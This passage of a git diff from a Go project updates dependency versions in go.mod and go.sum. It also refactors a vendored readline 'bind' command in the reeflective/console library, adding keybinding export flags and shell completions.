github.com/AlecAivazis/survey/v2 v2.3.7 @@ -27,6 +30,7 @@ require ( github.com/google/uuid v1.3.0 github.com/gorilla/mux v1.8.0 github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 + github.com/ivanpirog/coloredcobra v1.0.1 github.com/jedib0t/go-pretty/v6 v6.4.6 github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f github.com/klauspost/compress v1.16.6 @@ -37,10 +41,10 @@ require ( github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 github.com/ncruces/go-sqlite3 v0.8.1 - github.com/reeflective/console v0.1.6 + github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a github.com/reeflective/readline v1.0.8 github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 - github.com/rsteube/carapace v0.37.3 + github.com/rsteube/carapace v0.42.1 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 github.com/spf13/pflag v1.0.5 diff --git a/go.sum b/go.sum index 65111898de..4874c786ba 100644 --- a/go.sum +++ b/go.sum @@ -91,6 +91,7 @@ github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDk github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/coreos/go-iptables v0.6.0 h1:is9qnZMPYjLd8LYqmm/qlE+wwEgJIkTYdhV3rfZo4jk= github.com/coreos/go-iptables v0.6.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q= +github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= @@ -109,6 +110,7 @@ github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.m github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= @@ -197,10 +199,13 @@ github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68= github.com/illarion/gonotify v1.0.1 h1:F1d+0Fgbq/sDWjj/r66ekjDG+IDeecQKUFH4wNwsoio= github.com/illarion/gonotify v1.0.1/go.mod h1:zt5pmDofZpU1f8aqlK0+95eQhoEAn/d4G4B/FjVW4jE= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/insomniacslk/dhcp v0.0.0-20230407062729-974c6f05fe16 h1:+aAGyK41KRn8jbF2Q7PLL0Sxwg6dShGcQSeCC7nZQ8E= github.com/insomniacslk/dhcp v0.0.0-20230407062729-974c6f05fe16/go.mod h1:IKrnDWs3/Mqq5n0lI+RxA2sB7MvN/vbMBP3ehXg65UI= +github.com/ivanpirog/coloredcobra v1.0.1 h1:aURSdEmlR90/tSiWS0dMjdwOvCVUeYLfltLfbgNxrN4= +github.com/ivanpirog/coloredcobra v1.0.1/go.mod h1:iho4nEKcnwZFiniGSdcgdvRgZNjxm+h20acv8vqmN6Q= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= @@ -262,11 +267,13 @@ github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0 github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98= github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= @@ -324,10 +331,8 @@ github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9K github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 h1:Ibirru7u3sKdsKHQRQluOfwv/eXsw+v+r9h50cf1kU8= github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= -github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= -github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= -github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y= +github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a h1:eH0mArXKs7CljsUX6dhN/+IJlhvQ2I0Mg0ku8Ah0Hao= +github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= @@ -340,6 +345,7 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/spf13/cobra v1.4.0/go.mod h1:Wo4iy3BUC+X2Fybo0PDqwJIv3dNRiZLHQymsfxlB84g= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -466,6 +472,7 @@ golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200217220822-9197077df867/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -476,6 +483,7 @@ golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -573,6 +581,7 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/vendor/github.com/reeflective/console/README.md b/vendor/github.com/reeflective/console/README.md index 0d6dc7fb22..e555fd4b49 100644 --- a/vendor/github.com/reeflective/console/README.md +++ b/vendor/github.com/reeflective/console/README.md @@ -90,7 +90,7 @@ is also available in the [wiki](https://github.com/reeflective/console/wiki): ![console](https://github.com/reeflective/console/blob/assets/console.gif) -## Status +## Status The library is in a pre-release candidate status: - Although quite simple and small, it has not been tested heavily. @@ -100,3 +100,13 @@ The library is in a pre-release candidate status: Please open a PR or an issue if you wish to bring enhancements to it. Other contributions, as well as bug fixes and reviews are also welcome. + +## Possible Improvements + +The following is a currently moving list of possible enhancements to be made in order to reach `v1.0`: +- [ ] Ensure to the best extent possible a thread-safe access to the command API. +- [ ] Clearer integration/alignment of the various I/O references between readline and commands. +- [ ] Clearer and sane model for asynchronous control/cancel of commands. +- [ ] Allow users to run the console command trees in one-exec style, with identical behavior. +- [ ] Test suite for most important or risky code paths. +- [ ] Set of helper functions for application-related directories. diff --git a/vendor/github.com/reeflective/console/command.go b/vendor/github.com/reeflective/console/command.go index 2e019480ef..d3858cd3e9 100644 --- a/vendor/github.com/reeflective/console/command.go +++ b/vendor/github.com/reeflective/console/command.go @@ -1,8 +1,6 @@ package console import ( - "strings" - "github.com/spf13/cobra" ) @@ -75,38 +73,3 @@ next: c.filters = updated } - -func (c *Console) isFiltered(cmd *cobra.Command) bool { - if cmd.Annotations == nil { - return false - } - - // Get the filters on the command - filterStr := cmd.Annotations[CommandFilterKey] - filters := strings.Split(filterStr, ",") - - for _, cmdFilter := range filters { - for _, filter := range c.filters { - if cmdFilter != "" && cmdFilter == filter { - return true - } - } - } - - return false -} - -// hide commands that are filtered so that they are not -// shown in the help strings or proposed as completions. -func (c *Console) hideFilteredCommands() { - for _, cmd := range c.activeMenu().Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if c.isFiltered(cmd) { - cmd.Hidden = true - } - } -} diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index 2099658aef..2af32deb5f 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -4,13 +4,13 @@ import ( "errors" "fmt" "os" - "sort" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) // Bind returns a command named `bind`, for manipulating readline keymaps and bindings. @@ -20,15 +20,25 @@ func Bind(shell *readline.Shell) *cobra.Command { Short: "Display or modify readline key bindings", Long: `Manipulate readline keymaps and bindings. -Basic binding examples: - bind "\C-x\C-r": re-read-init-file // C-x C-r to reload the inputrc file, in the default keymap. - bind -m vi-insert "\C-l" clear-screen // C-l to clear-screen in vi-insert mode - bind -m menu-complete '\C-n' menu-complete // C-n to cycle through choices in the completion keymap. - +Changing binds: Note that the keymap name is optional, and if omitted, the default keymap is used. The default keymap is 'vi' only if 'set editing-mode vi' is found in inputrc , and unless the -m option is used to set a different keymap. -Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command.`, +Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command. + +Exporting binds: +- Since all applications always look up to the same file for a given user, + the export command does not allow to write and modify this file itself. +- Also, since saving the entire list of options and bindings in a different + file for each application would also defeat the purpose of .inputrc.`, + Example: `Changing binds: + bind "\C-x\C-r": re-read-init-file # C-x C-r to reload the inputrc file, in the default keymap. + bind -m vi-insert "\C-l" clear-screen # C-l to clear-screen in vi-insert mode + bind -m menu-complete '\C-n' menu-complete # C-n to cycle through choices in the completion keymap. + +Exporting binds: + bind --binds-rc --lib --changed # Only changed options/binds to stdout applying to all apps using this lib + bind --app OtherApp -c # Changed options, applying to an app other than our current shell one`, } // Flags @@ -44,8 +54,27 @@ Also, note that the bind [seq] [command] slightly differs from the original bash cmd.Flags().StringP("unbind", "u", "", "Unbind all keys which are bound to the named function") cmd.Flags().StringP("remove", "r", "", "Remove the bindings for KEYSEQ") cmd.Flags().StringP("file", "f", "", "Read key bindings from FILENAME") - // cmd.Flags().StringP("execute", "x", "", "Cause SHELL-COMMAND to be executed whenever KEYSEQ is entered") - // cmd.Flags().BoolP("execute-rc", "X", false, "List key sequences bound with -x and associated commands in a form that can be reused as input") + cmd.Flags().StringP("app", "A", "", "Optional application name (if empty/not used, the current app)") + cmd.Flags().BoolP("changed", "c", false, "Only export options modified since app start: maybe not needed, since no use for it") + cmd.Flags().BoolP("lib", "L", false, "Like 'app', but export options/binds for all apps using this specific library") + cmd.Flags().BoolP("self-insert", "I", false, "If exporting bind sequences, also include the sequences mapped to self-insert") + + // Completions + comps := carapace.Gen(cmd) + flagComps := make(carapace.ActionMap) + + flagComps["keymap"] = completeKeymaps(shell, cmd) + flagComps["query"] = completeCommands(shell, cmd) + flagComps["unbind"] = completeCommands(shell, cmd) + flagComps["remove"] = completeBindSequences(shell, cmd) + flagComps["file"] = carapace.ActionFiles() + + comps.FlagCompletion(flagComps) + + comps.PositionalCompletion( + carapace.ActionValues().Usage("key sequence"), + completeCommands(shell, cmd), + ) // Run implementation cmd.RunE = func(cmd *cobra.Command, args []string) error { @@ -55,358 +84,222 @@ Also, note that the bind [seq] [command] slightly differs from the original bash keymap = string(shell.Keymap.Main()) } - // Listing actions - switch { - // Function names - case cmd.Flags().Changed("list"): - for name := range shell.Keymap.Commands() { - fmt.Println(name) - } + var name string + var reeflective = "reeflective" + var buf = &cfgBuilder{buf: &strings.Builder{}} - // Sequences to function names - case cmd.Flags().Changed("binds"): - shell.Keymap.PrintBinds(keymap, false) - return nil + // First prepare the branching strings for any + // needed conditionals (App, Lib, keymap, etc) + changed := cmd.Flags().Changed("changed") + rm := cmd.Flags().Changed("remove") + unbind := cmd.Flags().Changed("unbind") + app := cmd.Flags().Changed("app") + lib := cmd.Flags().Changed("lib") - case cmd.Flags().Changed("binds-rc"): - shell.Keymap.PrintBinds(keymap, true) - return nil + // 1 - SIMPLE QUERIES ------------------------------------------------ - // Macros - case cmd.Flags().Changed("macros"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil - } - var macroBinds []string + // All flags and args that are "exiting the command + // after run" are listed and evaluated first. - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } + // Function names + if cmd.Flags().Changed("list") { + for name := range shell.Keymap.Commands() { + fmt.Println(name) } - sort.Strings(macroBinds) - - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("%s outputs %s\n", key, action) - } + return nil + } + // 2 - Query binds for function + if cmd.Flags().Changed("query") { + listBinds(shell, buf, cmd, keymap) + fmt.Fprint(cmd.OutOrStdout(), buf.buf.String()) return nil + } - case cmd.Flags().Changed("macros-rc"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil + // From this point on, some flags don't exit after printing + // their respective listings, since we can combine and output + // various types of stuff at once, for configs or display. + // + // We can even read a file for binds, remove some of them, + // and display all or specific sections of our config in + // a single call, with multiple flags of all sorts. + + // 1 - Apply any changes we want from a file first. + if cmd.Flags().Changed("file") { + if err := readFileConfig(shell, cmd, keymap); err != nil { + return err } - var macroBinds []string + } - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } - } + // Remove anything we might have been asked to. + if unbind { + unbindKeys(shell, cmd, keymap) + } - sort.Strings(macroBinds) + if rm { + removeCommands(shell, cmd, keymap) + } - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("\"%s\": \"%s\"\n", key, action) - } + // 2 - COMPLEX QUERIES ------------------------------------------------ - return nil + // Write App/Lib headers for + if app { + fmt.Fprintf(buf, "# %s application (generated)\n", name) + buf.newCond(name) + } else if lib { + fmt.Fprintf(buf, "# %s/readline library-specific (generated)\n", reeflective) + buf.newCond(reeflective) + } - // Global readline options - case cmd.Flags().Changed("vars"): - var variables []string + // Global option variables + if cmd.Flags().Changed("vars") { + listVars(shell, buf, cmd) + } else if cmd.Flags().Changed("vars-rc") { + listVarsRC(shell, buf, cmd) + } - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } + // Sequences to function names + if cmd.Flags().Changed("binds") { + listBinds(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("binds-rc") { + listBindsRC(shell, buf, cmd, keymap) + } - sort.Strings(variables) + // Macros + if cmd.Flags().Changed("macros") { + listMacros(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("macros-rc") { + listMacrosRC(shell, buf, cmd, keymap) + } - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("%s is set to `%v'\n", variable, value) - } + // Close any App/Lib conditional + buf.endCond() + // The command has performed an action, so any binding + // with positional arguments is not considered or evaluated. + if buf.buf.Len() > 0 { + fmt.Fprintln(cmd.OutOrStdout(), buf.buf.String()) return nil - - case cmd.Flags().Changed("vars-rc"): - var variables []string - - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } - - sort.Strings(variables) - - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("set %s %v\n", variable, value) - } - + } else if app || lib || changed || rm || unbind { return nil + } - // Query binds for function - case cmd.Flags().Changed("query"): - binds := shell.Config.Binds[keymap] - if binds == nil { - return nil - } - - command, _ := cmd.Flags().GetString("query") - - // Make a list of all sequences bound to each command. - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, inputrc.Escape(key)) - } - - sort.Strings(cmdBinds) - - switch { - case len(cmdBinds) == 0: - case len(cmdBinds) > 5: - var firstBinds []string - - for i := 0; i < 5; i++ { - firstBinds = append(firstBinds, "\""+cmdBinds[i]+"\"") - } + // 3 - CREATE NEw BINDS ----------------------------------------------- - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s ...\n", command, bindsStr) + // Bind actions. + // Some keymaps are aliases of others, so use either + // all equivalents or fallback to the relevant keymap. + if len(args) < 2 { + return errors.New("Usage: bind [-m keymap] [keyseq] [command]") + } - default: - var firstBinds []string + // The key sequence is an escaped string, so unescape it. + seq := inputrc.Unescape(args[0]) - for _, bind := range cmdBinds { - firstBinds = append(firstBinds, "\""+bind+"\"") - } + var found bool - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s\n", command, bindsStr) + for command := range shell.Keymap.Commands() { + if command == args[1] { + found = true + break } - - return nil - - // case cmd.Flags().Changed("execute-rc"): - // return nil } - // Bind actions. - // Some keymaps are aliases of others, so use either all equivalents or fallback to the relevant keymap. - switch { - case cmd.Flags().Changed("unbind"): - command, _ := cmd.Flags().GetString("unbind") - - unbind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } - - applyToKeymap(keymap, unbind) - - case cmd.Flags().Changed("remove"): - seq, _ := cmd.Flags().GetString("remove") - - removeBind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key := range binds { - if key != seq { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } + if !found { + return fmt.Errorf("Unknown command: %s", args[1]) + } - applyToKeymap(keymap, removeBind) + // If the keymap doesn't exist, create it. + if shell.Config.Binds[keymap] == nil { + shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) + } - case cmd.Flags().Changed("file"): - fileF, _ := cmd.Flags().GetString("file") + // Adjust some keymaps (aliases of each other). + bindkey := func(keymap string) { + shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} + } - file, err := os.Stat(fileF) - if err != nil { - return err - } + // (Bind the key sequence to the command) + applyToKeymap(keymap, bindkey) - if err = inputrc.ParseFile(file.Name(), shell.Config, shell.Opts...); err != nil { - return err - } + return nil + } - fmt.Printf("Read %s\n", file.Name()) - // case cmd.Flags().Changed("execute"): + return cmd +} - // Else if sufficient arguments, bind the key sequence to the command. - default: - if len(args) < 2 { - return errors.New("Usage: bind [-m keymap] [keyseq] [command]") - } +// +// Binding & Unbinding functions --------------------------------- +// - // The key sequence is an escaped string, so unescape it. - seq := inputrc.Unescape(args[0]) +func readFileConfig(sh *readline.Shell, cmd *cobra.Command, _ string) error { + fileF, _ := cmd.Flags().GetString("file") - var found bool + file, err := os.Stat(fileF) + if err != nil { + return err + } - for command := range shell.Keymap.Commands() { - if command == args[1] { - found = true - break - } - } + if err = inputrc.ParseFile(file.Name(), sh.Config, sh.Opts...); err != nil { + return err + } - if !found { - return fmt.Errorf("Unknown command: %s", args[1]) - } + fmt.Printf("Read and parsed %s\n", file.Name()) - // If the keymap doesn't exist, create it. - if shell.Config.Binds[keymap] == nil { - shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) - } + return nil +} - // Adjust some keymaps (aliases of each other). - bindkey := func(keymap string) { - shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} - } +func unbindKeys(sh *readline.Shell, cmd *cobra.Command, keymap string) { + command, _ := cmd.Flags().GetString("unbind") - // (Bind the key sequence to the command.) - applyToKeymap(keymap, bindkey) + unbind := func(keymap string) { + binds := sh.Config.Binds[keymap] + if binds == nil { + return } - return nil - } - - // *** Completions *** - comps := carapace.Gen(cmd) - flagComps := make(carapace.ActionMap) + cmdBinds := make([]string, 0) - // Flags - flagComps["keymap"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) + for key, bind := range binds { + if bind.Action != command { + continue + } - for name := range shell.Config.Binds { - results = append(results, name) + cmdBinds = append(cmdBinds, key) } - return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") - }) - - functionsComps := carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) - - for name := range shell.Keymap.Commands() { - results = append(results, name) + for _, key := range cmdBinds { + delete(binds, key) } + } - return carapace.ActionValues(results...).Tag("commands").Usage("command") - }) - - bindSequenceComps := carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { - // Get the keymap. - var keymap string - - if cmd.Flags().Changed("keymap") { - keymap, _ = cmd.Flags().GetString("keymap") - } + applyToKeymap(keymap, unbind) +} - if keymap == "" { - keymap = string(shell.Keymap.Main()) - } +func removeCommands(sh *readline.Shell, cmd *cobra.Command, keymap string) { + seq, _ := cmd.Flags().GetString("remove") - // Get the binds. - binds := shell.Config.Binds[keymap] + removeBind := func(keymap string) { + binds := sh.Config.Binds[keymap] if binds == nil { - return carapace.ActionValues().Usage("sequence") + return } - // Make a list of all sequences bound to each command, with descriptions. cmdBinds := make([]string, 0) - insertBinds := make([]string, 0) - for key, bind := range binds { - if bind.Action == "self-insert" { - insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"") - } else { - cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"") - cmdBinds = append(cmdBinds, bind.Action) + for key := range binds { + if key != seq { + continue } - } - - return carapace.Batch( - carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), - carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), - ).ToA() - }) - - flagComps["query"] = functionsComps - flagComps["unbind"] = functionsComps - flagComps["file"] = carapace.ActionFiles() - flagComps["remove"] = bindSequenceComps - - comps.FlagCompletion(flagComps) - - // Positional arguments - comps.PositionalCompletion( - 